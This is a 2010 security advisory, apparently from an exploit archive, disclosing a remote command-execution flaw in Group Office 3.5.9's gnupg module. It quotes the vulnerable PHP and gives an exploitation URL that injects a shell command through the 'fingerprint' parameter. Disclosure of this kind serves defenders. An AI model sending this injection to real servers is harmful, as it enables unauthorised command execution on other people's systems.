Home / os / win7

Group Office Remote Command Execution Vulnerability

Posted on 16 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Group Office Remote Command Execution Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================== Group Office Remote Command Execution Vulnerability =================================================== # Title Group Office Remote Command Execution Vulnerability # Author ADEO Security # Published 16/07/2010 # Version 3.5.9 (Possible all versions) # Vendor http://www.group-office.com # Download http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download # Description &quot;Take your office online with Group-Office groupware. Share projects, calendars, files and e-mail online with co-workers and clients. Easy to use and fully customizable, Group-Office takes online collaboration to the next level.&quot; # Credit Vulnerability founded by Canberk BOLAT - Mail: security[AT]adeo.com.tr - Web: http://security.adeo.com.tr , http://adeosecuritylabs.com # Vulnerability Remote attacker can execute commands on the system that host target web application. Its high level vulnerability. Attacker needs gnupg module that installed. modules/gnupg/json.php: $data = $gnupg-&gt;export($_REQUEST['fingerprint']); In json.php export method called with HTTP Request that's name fingerprint. In the export method, variable $fingerprint passed to run_cmd method. modules/gnupg/classes/gnupg.class.inc.php: public function export($fingerprint) { $this-&gt;run_cmd('--armor --export '.$fingerprint, $key); ... private function run_cmd($cmd, &amp;$output=null, &amp;$errorcode=null, $data=null, $passphrase=null, $background=false) { ... $complete_cmd .= ' '.$cmd; ... $p = proc_open($complete_cmd,$this-&gt;fd, $this-&gt;pipes); ... 'complete_cmd' variable executed by application and if attacker manipulate request 'fingerprint' application executes attackers malicious codes. # Exploitation http://server/groupoffice/modules/gnupg/json.php?task=send_key&amp;fingerprint=xyz;COMMAND # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-16]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP